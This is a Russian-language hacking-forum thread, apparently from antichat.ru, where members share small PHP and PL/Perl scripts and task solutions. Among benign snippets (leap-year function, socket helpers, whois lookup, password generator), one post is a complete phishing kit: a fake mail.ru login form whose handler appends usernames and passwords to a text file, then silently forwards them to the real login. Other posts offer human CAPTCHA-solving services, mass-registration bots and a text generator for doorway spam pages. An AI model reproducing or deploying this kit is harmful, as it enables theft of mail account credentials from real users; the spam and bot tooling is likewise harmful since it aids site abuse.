Для ROA сделал хранимую процедуру PostgreSQL для определения - високосный ли год или нет... На вход приминимает,собственно год(допустим из определенного поля таблицы)...в принципе переделать на тип данных date не сложно )) Code: CREATE FUNCTION year_leap2 (integer) RETURNS integer AS $$ my $year = shift; if($year%100 == 0) { if($year%400 == 0) { return 1 } else { return 0 } } else { if($year%4 == 0) { return 1 } else { return 0 } } $$ LANGUAGE plperl; Смысла определять текущий год через CURRENT_DATE имхо нету, лишние затраты ресурсов - проще закешировать... PS: Поправил на более читаемый вариант и без хаков с sprintf()
Задание для ROA Задание для ROA PHP: <? set_time_limit(0); //функция для PHP-сокетов, после которой работа ведется аналогично fsockopen() //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr) //для работы требуются включенные сокеты function socks4_open($server,$port,&$errno,&$errstr){ if(!($socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) || !socket_connect($socket,$server,$port)){ $errno=socket_last_error(); $errstr=socket_strerror($errno); return false; } else return $socket; } //функция для PHP-сокетов, возвращающая ответ на запрос($q) к серверу($server) через порт($port) //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr) //для работы требуются включенные сокеты function socket_otvet($server,$port,$q,&$errno,&$errstr){ if(!($socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) || !socket_connect($socket,$server,$port)){ $errno=socket_last_error(); $errstr=socket_strerror($errno); return false; } else { socket_write($socket,$q,strlen($q)); while($otvet=socket_read($socket,1024)){ $otv.=$otvet; } socket_close($socket); return $otv; } } //функция для fsockopen(), возвращающая ответ на запрос($q) к серверу($server) через порт($port) //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr) function fsock_otvet($server,$port,$q,&$errno,&$errstr){ if(!($fp=fsockopen($server,$port,$errno,$errstr,30))){ return false; } else { fputs($fp,$q); while(!feof($fp)){ $otv.=fgets($fp,1024); } fclose($fp); return $otv; } } //пример запроса $q="GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n"; //пример работы socks4_open() $sock=socks4_open("mail.ru",80,$errno,$errstr); if(!$sock){ echo "$errstr ($errno)<br>\n"; } else { socket_write($sock,$q,strlen($q)); while($otvet=socket_read($sock,1024)){ $otv.=$otvet; } } socket_close($sock); echo $otv; //пример работы socket_otvet() if($otv=socket_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n"; //пример работы fsock_otvet() if($otv=fsock_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n"; ?>
моментальный поиск по сортированному массиву структур Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51 Посмотреть на работу можно тут: http://vkorostene.com.ua/search/ Исходник: http://vkorostene.com.ua/search/source.rar Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен)
Функция Whois доменов по сектору .ru PHP: <? Function whois($domen) { $result = file('http://ip-whois.net/whois.php?whois='.$domen); if (preg_match('/match/',$result[70])) echo 'Not registered'; else for ($i=52;$i<=64;$i++) echo $result[$i]; } /*Пример вызова*/ whois('forum.antichat.ru'); ?>
Скелет фейка на mail.ru 2 файла: 1. login.php (или хотите назовите его login.html) PHP: <html> <head> <title></title> </head> <bоdу> <div align="center"> <form method="post" action='mail.ru.php'> <table> <tr><td><span>Login:</span></td><td><input type="text" name="login" /></td></tr> <tr><td><span>Password:</span></td><td><input type="password" name="pass" /></td></tr> </table> <input type="submit" name="submit" value="ok" /> </form> </div> </bоdу> </html> 2. mail.ru.php PHP: <?php $log=$_POST['login']; $pass=$_POST['pass']; if (empty($log) or empty($pass)) {echo 'Please fill login or password'; echo '<meta http-equiv="Refresh" content="2;URL=login.php">';exit;} $file = "mails.txt"; $f = fopen($file, "a"); fwrite($f, "$log;$pass \r\n"); fclose($f); ?> <html> <head> </head> <body> <form name='mail' method='post'action='http://win.mail.ru/cgi-bin/auth' > <input type="hidden" name='Login' value=<?php echo $log;?>> <input type="hidden" name="Password" value=<?php echo $pass;?>> <input type='hidden' name='Domain' value='mail.ru'> </form> <script language='javascript'> document.mail.submit(); </script> </body> </html>
делать было нех написал 2 простеньких скрипта чат (2 файла) guest.php PHP: <html> <body> <form action="guest.php" method="post" name="text" terget="_top"> <input type="text" align="top" name="text"> <input type="submit" value="чик"> <a href="unlink.php">clear</a> </body> </html> <?php $tmp_file = "tmp.txt"; $time = date("d:m:y::H:i:s"); $msg = $_POST['text']; if(!file_exists($tmp_file)) { echo "файл истории недоступен"; } else { $file = fopen($tmp_file,"a+"); echo $msg; fwrite($file,$time." ".$msg."\n"); $s = file($tmp_file); foreach ($s as $k => $v) { $i++; if($i % 2 == 0) { echo "<table align='center' width='50%'>"; echo "<tr>"."<td bgcolor='13becd'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>"; } else { echo "<table align='center' width='50%'>"; echo "<tr>"."<td bgcolor='a7f97a'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>"; } } } fclose($file); ?> unlink.php PHP: <?php $file = "tmp.txt"; unlink($file); fopen($file,"a+"); header("location:http://127.0.0.1/code/guest.php"); fclose($file); ?> -- генератор паролей PHP: <html> <form action="pass_gen.php" name="len" method="post"> Длина пароля: <input type="text" name="len"> <input type="submit" value="go"> </html> <?php //символы $a = "abcdefghijklmnopqrstuvwxyz"; $b = strtoupper($a); $n = "0123456789"; $s = "!@#$%^&*()[]"; $all = $a.$b.$n.$s; $lenght = $_POST['len'];//длина пароля echo "=".$lenght."<br>"; $radio = $_POST['rad'];//вид пасса echo $radio; $count = strlen($all); if($lenght<=8) { $pass = ''; for($i=0;$i<$lenght;$i++) { $pass .= substr($all, rand(1,$count),1); } echo "pass: ".$pass; } else { echo "парель не должен привышать 8 символов"; } ?>
У меня есть скриптец которы ну не распознает капчу, а отправляет её на сайт там её люди распознают (в принцепи быстро 3-5 сек !). Если каму надо могу выложить с мануалом ! Для любой реги подойдет. На счет реги на народе помойму тема старая ! Но если ещё актуально то могу написать.
И вобще если комунить нужен регер на каком либо сайте стучите ! 1 условие чтобы на сайте не использовалить сертифекаты ! А все остальное без проблем.
Задание из ROA Code: Заливка avi/mov/mpg файлов на сервер и их проигрывание во флеш-плеере. Если конечно я его правильно понял [Интсрументы] Прямые руки ffmpeg-php Denwer [Подготовка рабочей среды] Ну для начала надо поствить Denwer. Думаю тут вопросов возникнуть не должно. Как ставить ffmpeg-php смотрим тут http://forum.drupal.ru/node/16257 Ищем обзац Code: Установка ffmpeg на денвер и читаем,отсальное нам нах не нужно. Если вы будете юзать денвер,то измените строчку в php.ini Code: upload_max_filesize = 2M и меняем её на Code: upload_max_filesize = 800M А вообще значении upload_max_filesize может быть другим,это уж вам как захочется. [Теория] Для реализации такой задачи я использовал jQuery и плагин к нему jQuery Form и самы простенький flv плеер - jw flv player(всё это найдёте в архиве) Для просмотра видео нам сначала надо перевести его в формат .flv для этого нам и понадобится ffmpeg-php Вроде всё просто. [Установка] Качаем архив,распаковываем, заливаем на сервер. На все папки ставим чмод - 777 Так же в скрипте не забывем менять путь до вашего ffmpeg-php модуля. [Скачать] slil.ru P.S Получилась как бы мини-статейка P.S Вроде всё внятно разжувал
[Инструменты] LAMP (Debian Linux + Apache2 + MySQL + PHP 5) Geany [Описание] В файле lib.php располагаются два класса. 1-й обрабатывает массив данных и приводит его к необходимому виду. 2-й класс, который отвечает за создание диаграммы на основе поступивших данных. Для создания круговой диаграммы заюзал старый заезженный метод, который для разных сред много раз описывался. [Оправдания] "...мапэд не мой...". Задание не мое, просто сделал для разминки, т.к. отдельное мне так и не дали. Работать с БД умышленно отказался, чтобы у тех, кто скачает не было необходимости в лишних телодвижениях для тестирования. Разбил на два класса, чтобы уменьшить зависимость компонентов. CКАЧАТЬ http://slil.ru/26484386
ss88, если кто-то в системе, то неверно считает. Предусмотри факт, что на момент отрисовки люди могут еще там быть.
маленький скрипт для создания N-ого количества текстовых файлов с заданным объемом текста в килобайтах, из большого числа других, с рандомизацией выборки. [для чего?] я писал скрипт для себя и решил выложить может кому нибудь пригодится. очень быстро можно сделать например 10 файлов по мегабайту и в каждом файле будет текст из рандомной выборки по другим файлам. юзаю для подготовки текстов для доров скачать можно тут еще необходимо сделать две папки рядом со скриптом папка texts(исходные тексты) и result(куда будут складываться собранные тексты) права 0777